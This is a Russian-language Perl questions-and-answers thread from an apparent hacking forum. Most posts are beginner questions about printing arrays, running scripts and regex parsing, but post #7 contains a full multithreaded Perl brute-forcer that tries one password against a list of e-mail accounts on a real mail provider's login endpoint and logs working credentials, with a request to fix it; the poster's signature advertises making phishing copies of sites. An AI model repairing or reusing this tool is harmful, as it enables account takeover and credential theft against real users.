Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
Вернуться   HPC / Кодинг / Другие Языки / Perl
 
  Страница 1
  , 20:06   #1
Продвинутый
 
Аватар для stan_q
 
Локация: Бродяга
Регистрация: 26.04.2009
Сообщений: 1,194

Репутация: 389 / 5
По умолчанию [Perl] Вопросы и ответы

Задаем вопросы и получаем ответы по Perl
__________________
Критикуя - предлагай
Пользователь вне форума    
Наши Спонсоры
  , 01:07   #2
Форумчанин
 
Аватар для Russl Che
 
Регистрация: 15.01.2011
Сообщений: 45

Репутация: 0 / 0
По умолчанию PERL

имею вот такой скрипт
code:
perl -wle '@array = (11..99); print "@array";'
как мне заставить его выводить значения в столбик?
__________________
Создам проблемы, недорого.
Пользователь вне форума    
  , 01:49   #3
Местный
 
Аватар для dpe_X
 
Локация: Минск
Регистрация: 09.09.2010
Сообщений: 152

Репутация: 18 / 1
По умолчанию Re: [Perl] Вопросы и ответы

source:
perl -wle '@array = (11..99); foreach (@array) {print $_."\n";}'
 
Пользователь вне форума    
  , 02:13   #4
Форумчанин
 
Аватар для Russl Che
 
Регистрация: 15.01.2011
Сообщений: 45

Репутация: 0 / 0
По умолчанию Re: [Perl] Вопросы и ответы

Спасибо огромное!
__________________
Создам проблемы, недорого.
Пользователь вне форума    
  , 05:48   #5
Форумчанин
 
Аватар для Russl Che
 
Регистрация: 15.01.2011
Сообщений: 45

Репутация: 0 / 0
По умолчанию Re: [Perl] Вопросы и ответы

Существует ли БЕСПЛАТНЫЙ граббер статей с сайтов?
мне почему то кажется, что его написать не трудно...
но чёто везде продают их за бешеные деньги...
я сам не силён в программировании...
может кто помочь?
__________________
Создам проблемы, недорого.
Пользователь вне форума    
  , 05:08   #6
Banned
 
Регистрация: 04.09.2011
Сообщений: 392

Репутация: 3 / 0
По умолчанию

os Win64. Системы 64&32x битные, есть ли разница в подходе к разработке?
Или достаточно только установить компиль под разрядность системы, а переносимость и все остальное возьмет на себя обработчик?(как в дргих ЯП высокого уровня)

п.с Тут решил подружиться с этим серьезным животным. Вот только с разрядностью гадать не хочу. Но думаю что 32битный компиль и не запустится на моей системе. Ну а если напишу \привет мир\ на 64х, смогу ли запустить программу в pe.\exe с под вин 32 в дальнейшем?


П.с вопрос решил
 

Последний раз редактировалось SSBug; 15.11.2011 в 03:01.
Пользователь вне форума    
  , 17:23   #7
Местный
 
Аватар для stivens20
 
Регистрация: 13.12.2011
Сообщений: 312

Репутация: 2 / 0
По умолчанию

Исправьте
PHP highlight
 #!/usr/bin/perl 

use IO::Socket
use 
threads
use 
threads::shared
##################################################  ###### 
my @acc shared
my $i shared
my $g shared
my $total shared
##################################################  ###### 
$emails   'mail.txt';    #Файл с мылами 
$good     'good.txt';    #Файл с прочеканными гуд акками 
$password '111111';      #Пароль на который брутить 
##################################################  ###### 
$threads '20';          #Количество потоков 
$timeout '5';            #Таймаут 
##################################################  ###### 
$hostname "swa.mail.ru"
$port     '80'
$path     "/cgi-bin/auth"

##################################################  ###### 
openACS"<$emails" ); 
@
acc  acc(); 
$size scalar @acc

threads(); 

sub threads 
    
$g 0
    for ( 
.. $threads ) { $trl[$_] = threads->create( &check$_ ); } 
    for (@
trl) { $_->join; } 
    print 
"Good: $g "


sub check 
    while (@
acc) { 
        { 
lock(@acc); $acc shift @acc; } 
        
my $mail$server ) = split( /@/, $acc ); 

        
$nn "\r\n"

        
my $sock = new IO::Socket::INET
            
PeerAddr  => $hostname
            
PeerPort  => $port
            
PeerProto => 'tcp'
            
TimeOut   => $timeout 
        
); 
        if ( !
$sock ) { 
            { 
lock($i); $i++; } 
        } 
        else { 
            
my $data 
              
"action1=Login&Login=$mail&Domain=$server&Password=$password"
            
my $re 
                
"POST /cgi-bin/auth HTTP/1.0"  
              
$nn 
              
"Host: swa.mail.ru" 
              
$nn 
              
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" 
              
$nn 
              
"Content-type: application/x-www-form-urlencoded" 
              
$nn 
              
"Cache-Control: no-cache" 
              
$nn 
              
"Content-length: " 
              
length($data
              . 
$nn 
              
"Connection: Keep-Alive" 
              
$nn 
              
$nn
            print 
$sock $re
            print 
$sock $data
            
sysread$sockmy $answ666 ); 
            
close $sock

            if ( 
$answ =~ /Location/ ) { 
                { 
lock($total); $total++; } 
                print 
"$mail - [OK]\n"
                
openFILE">>$good" ); 
                print 
FILE "$acc:$password\n"
                
close(FILE); 
                
$g++; 
            } 

            { 
lock($i); $i++; } 
            
$percent = ( $i $size ) * 100
            
$percent sprintf"%.0f"$percent ); 
            print 
"$percent%" $nn
        } 
    } 


sub acc 
    
my (@mas); 
    while (<
ACS>) { 
        
push @mas$_
    } 
    
chomp @mas
    return @
mas

#with love by Sharky 
Не запускается
__________________
Создаю фейки сайтов и соц.сетей: https://hacker-pro.net/showthread.php?t=37054
Связь 625227978 и sergey80.86@mail.ru

Последний раз редактировалось stivens20; 22.02.2012 в 22:57.
Пользователь вне форума    
  , 17:21   #8
Новичок
 
Регистрация: 05.07.2012
Сообщений: 1

Репутация: 0 / 0
По умолчанию

вообщем внизу смотрел и пользовлься поиском но так и ничего не нашел путного,прошу модераторов не ругать.

У меня линукс убунту 12.04 ноут асус, скачал прогу актив перл для линукса,распаковал,вро де бы все нормально.

как работать с ней не до конца понимаю,ну не похожа она например на дельфи или визуал студио тоесть нету среды разработки типа открыл окошко - пиши там и компилируй.

но я так понял я могу создовать обычный текстовые документы с расширением .pl как только так делаю появляеться иконка консольки тоесть это как я понимаю и есть перл скрипт? и я могу грузить его на сервер?

если да то что еще нужно для работы с этим языком и дальнейшему обучению,можете ли вы посоветовать книги,и еще вопрос,мне нужне сайт на бесплатном хостинге или виртуальная машина какая-то?

есть пустой сайти на хостинге хат.ру,он мне понадобиться для работы с перл?

а ну и собственно как запускать скрипты тоесть они там в консоли выполняться будут или как?

вобщем исходя из такого огромного количества нубских вопросов,я прошу вас дать на них более-менее внятные ответы.

еще раз спаибо.
 
Пользователь вне форума    
  , 14:07   #9
Delicious!
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
По умолчанию

leconnect, открываешь блокнот, пишешь. Сохраняешь в файл, например, /home/username/helloworld.pl
Запускаешь в терминале:
code:
$ perl /home/username/helloworld.pl
Перл, который ты установил - только голая среда исполнения (интерпретатор). Среда разработки же ставится отдельно. То есть если хочется графической и удобной IDE (integrated development environment), то вот, например, с первых строк гугла плагин (как я понял) к среде разработки eclipse: http://www.epic-ide.org/
Сам на перле не шаманю, поэтому конкретную среду посоветовать не могу и не знаю, какая удобнее. Ищи, пробуй, выбирай под себя.

По поводу веб-разработки на perl, советую почитать какую-нибудь книженцию, затрагивающую вопросы именно веб-кодинга на этом языке. Он имеет некоторые отличия от написания скриптов для локального использования. Хостинг понадобится с поддержкой perl и cgi, но лучше сначала научиться делать всё это локально, на своём ПК.
__________________
wut...?
Пользователь вне форума    
  , 10:38   #10
Новичок
 
Регистрация: 12.05.2013
Сообщений: 14

Репутация: 1 / 0
По умолчанию

у меня есть скрипты для perla как мне из них собрать программу ?
 
Пользователь вне форума    
  , 10:48   #11
Продвинутый
 
Аватар для BlackH
 
Локация: underworld
Регистрация: 05.12.2011
Сообщений: 1,608

Репутация: 167 / 3
По умолчанию

Perl — вроде как интерпретируемый язык программирования.
Программу судя по всему не получится собрать.
Only скрипты.Или я не прав?
__________________
Вангую..
Пользователь вне форума    
  , 10:59   #12
Новичок
 
Регистрация: 12.05.2013
Сообщений: 14

Репутация: 1 / 0
По умолчанию

так я ж не говорю что именно через perl всё делать можно же переделать скрипт под delphi например кто поможет готов оплатить
 
Пользователь вне форума    
  , 11:10   #13
Продвинутый
 
Аватар для BlackH
 
Локация: underworld
Регистрация: 05.12.2011
Сообщений: 1,608

Репутация: 167 / 3
По умолчанию

Ну так сразу бы и писал что портировать на другой ЯП хочешь.
Что за скрипты?В двух словах.
__________________
Вангую..
Пользователь вне форума    
  , 14:18   #14
Грррр!
 
Аватар для _Werewolf_
 
Локация: upd://192.168.255.255
Регистрация: 28.06.2011
Сообщений: 3,296

Репутация: 294 / 5
Cool

Приветствую.
Вопрос по m!!.
Есть код:
HTML highlight
<div>
  Perl
    <div>
      JS
        <div>
          HTML
        </div>
    </div>
</div>
Вопросы:
0) Как получить значение "JS"?
1) Как вообще искать парный дескриптор?
2) Как начать парсить, например, с третьего найденного <div>?

Никогда не умел создавать мозговыносящие конструкции, да и смысла не было, а сейчас появился, так что запрашиваю помощь =)
__________________
Жили были Ох и Ах. Все им было пох и нах...
Хорошие люди принесут вам счастье, плохие люди наградят вас опытом, худшие – дадут вам урок, а лучшие – подарят воспоминания. Цените каждого.
Пользователь вне форума    
  , 00:14   #15
Грррр!
 
Аватар для _Werewolf_
 
Локация: upd://192.168.255.255
Регистрация: 28.06.2011
Сообщений: 3,296

Репутация: 294 / 5
По умолчанию

UP!
Никто разве не знаком с регулярками?
__________________
Жили были Ох и Ах. Все им было пох и нах...
Хорошие люди принесут вам счастье, плохие люди наградят вас опытом, худшие – дадут вам урок, а лучшие – подарят воспоминания. Цените каждого.
Пользователь вне форума    

Метки
perl, кодинг

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Анонимность и вычисление] Общие вопросы и ответы stan_q Анонимность и вычисление 118 22.10.2015 22:39
Сетевой этикет (Перед тем, как задать вопрос хакеру) Ram0nlord За чашечкой чая 6 21.05.2012 19:01
Ответы на все твои вопросы stan_q Новичкам 3 14.12.2010 22:44
Вопросы и ответы: цифровой мозг против пользователей Ice_pro Архив новостей 0 22.10.2009 16:51



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.